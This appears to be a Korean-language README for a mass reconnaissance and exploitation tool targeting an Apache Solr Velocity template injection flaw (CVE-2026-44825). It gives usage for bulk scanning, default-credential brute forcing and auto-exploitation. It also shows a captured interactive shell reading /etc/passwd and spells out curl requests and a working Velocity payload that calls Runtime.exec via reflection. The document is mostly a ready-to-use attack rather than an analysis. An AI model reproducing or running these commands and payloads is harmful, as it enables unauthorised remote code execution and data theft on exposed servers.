
☄️ Apache Solr CVE-2026-44825를 위한 대규모 정찰 및 익스플로잇 프레임워크 — Velocity 템플릿 인젝션에서 RCE로
CVE-2026-44825는 Apache Solr에서 발생하는 심각도가 높은 취약점으로, 공격자가 Velocity 템플릿 인젝션을 통해 **인증 없이 원격 코드 실행(RCE)**을 달성할 수 있습니다.
Apache Solr의 /select 엔드포인트는 wt=velocity 매개변수를 받아 사용자가 제공한 Velocity 템플릿을 렌더링합니다. Velocity 응답 작성기가 활성화되어 있거나(또는 구성 API를 통해 활성화될 수 있는 경우) 공격자는 java.lang.Runtime.exec()를 호출하는 악성 템플릿을 주입하여 Solr 프로세스의 권한으로 임의 시스템 명령을 실행할 수 있습니다.
| 벡터 | 심각도 | 영향 |
|---|---|---|
| 인증 없는 RCE | 9.8 (심각) | 전체 시스템 손상 |
| 인증된 RCE | 8.8 (높음) | 인증 후 코드 실행 |
| 정보 노출 | 5.3 (중간) | 코어/컬렉션 열거 |
Apache Solr는 응답 렌더링을 위한 선택적 템플릿 엔진으로 Apache Velocity를 번들로 제공합니다. 취약점은 Solr의 VelocityResponseWriter가 사용자 제어 템플릿 매개변수를 적절한 위생 처리 없이 처리하여 Java 리플렉션 API를 직접 호출할 수 있도록 하는 데 있습니다.
Java 리플렉션 체인:
vtl → Class.forName("java.lang.Runtime") → getRuntime().exec(cmd)
| Apache Solr 버전 | 상태 | 비고 |
|---|---|---|
| 9.4.0 – 9.10.1 | 🔴 취약 | 실제 환경에서 활발히 악용됨 |
| 10.0.0 | 🔴 취약 | 영향을 받는 초기 10.x 릴리스 |
| 10.0.1+ | 🟢 패치됨 | 패치 백포트됨 |
| 9.10.2+ | 🟢 패치됨 | 패치 릴리스 사용 가능 |
| ≤ 9.3.x | 🟢 영향 없음 | Velocity 응답 작성기 없음 |
| 8.x (전체) | 🟢 영향 없음 | Velocity 지원 없음 |
참고:
/admin/info/systemJSON 응답을 파싱하여 버전 확인이 자동으로 수행됩니다.
🔍 정찰
|
💀 익스플로잇
|
# 저장소 복제
git clone https://github.com/shinthink/solrradar.git
cd solrradar
# 의존성 설치
pip install -r requirements.txt
# 확인
python solr_scanner.py --help
requests>=2.28.0
urllib3>=1.26.0
표준 라이브러리 +
requests만 사용. 특이한 의존성 없음.
CVE-2026-44825 Apache Solr Scanner
-t, --target 단일 대상 URL 또는 IP[:port]
-f, --file 대상이 포함된 파일 (한 줄에 하나, #은 주석)
--exploit 취약한 자격 증명이 발견되면 자동 익스플로잇
--rce 인증 후 대화형 셸 실행
-u, --user Basic Auth 사용자 이름
-pw, --password Basic Auth 비밀번호
-o, --output JSON 출력 파일 경로 (기본값: solr_results.json)
-w, --workers 동시 스레드 수 (기본값: 30)
-T, --timeout HTTP 요청 시간 초과(초) (기본값: 8)
# 단일 대상
python solr_scanner.py -t 192.168.1.100:8983
# 사용자 지정 경로의 단일 대상
python solr_scanner.py -t http://example.com/solr
# 파일로 대량 스캔
python solr_scanner.py -f targets.txt -o results.json
# targets.txt — 주석과 빈 줄 지원
192.168.10.10:8983
192.168.10.20:8983
http://solr-target.internal/solr
192.168.1.0/24 # (CIDR 미지원; 외부 도구로 미리 확장)
# 스캔 + 자격 증명 발견 시 자동 익스플로잇
python solr_scanner.py -f targets.txt --exploit
# 알려진 자격 증명 + 대화형 셸
python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks
# 자동 무차별 대입 + 성공 시 셸
python solr_scanner.py -t target:8983 --rce
$ python solr_scanner.py -f targets.txt
CVE-2026-44825 Apache Solr Scanner
대상: 3 | 스레드: 30 | 시간 초과: 8초
스캔 중...
[Solr 8.11.2] http://192.168.10.10:8983/solr
[Solr 8.11.2] http://192.168.10.20:8983/solr
컬렉션 (인증 없음): ['authority', 'dfa', 'oai', 'search']
[Solr 9.4.1] 취약 +인증 http://solr-target.internal/solr
완료. 총:3 | Solr:3 | 취약:1
모든 3개 대상이 탐지됨. 9.4.1 인스턴스는 Basic Auth가 활성화된 취약 상태로 표시됨.
$ python solr_scanner.py -t solr-target.internal
CVE-2026-44825 Apache Solr Scanner
[Solr 9.4.1] 취약 +인증 http://solr-target.internal/solr
[!] admin:SolrRocks
컬렉션: ['cms', 'users', 'search', 'analytics']
기본 자격 증명
admin:SolrRocks가 Solr 관리 API에 대한 액세스를 허용함. 4개의 컬렉션이 발견됨.
$ python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks
CVE-2026-44825 Apache Solr Scanner
[+] admin:SolrRocks
solr$ id
uid=8983(solr) gid=8983(solr) groups=8983(solr)
solr$ hostname
solr-prod-cms-01.internal
solr$ whoami
solr
solr$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
solr:x:8983:8983:Solr:/var/solr:/sbin/nologin
...
solr$ exit
Solr Java 프로세스의 권한으로 완전한 대화형 셸 액세스.
원시 HTTP 교환을 이해하려는 연구자를 위한 설명:
1단계 — Solr에 연결 가능한지 확인
curl -sk 'http://target:8983/solr/admin/info/system' | jq '.lucene."solr-spec-version"'
# "9.4.1"
2단계 — 사용 가능한 컬렉션 나열
curl -sk -H 'Authorization: Basic YWRtaW46U29sclJvY2tz' \
'http://target:8983/solr/admin/collections?action=LIST'
# {"collections": ["cms", "search"]}
3단계 — Velocity 템플릿 인젝션을 통해 명령 실행
curl -sk -H 'Authorization: Basic YWRtaW46U29sclJvY2tz' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'q=1&wt=velocity&v.template=custom&v.template.custom=%23set(%24x=%27%27)%23set(%24rt=%24x.class.forName(%27java.lang.Runtime%27))%23set(%24chr=%24x.class.forName(%27java.lang.Character%27))%23set(%24ex=%24rt.getRuntime().exec(%27id%27))%24ex.waitFor()%25%23set(%24out=%24ex.getInputStream())%23foreach(%24i%20in%20[1..%24out.available()])%24str.valueOf(%24chr.toChars(%24out.read()))%23end' \
'http://target:8983/solr/cms/select'
디코딩된 Velocity 템플릿 페이로드:
#set($x='')
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($ex=$rt.getRuntime().exec('id'))
$ex.waitFor()%
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
응답:
uid=8983(solr) gid=8983(solr) groups=8983(solr)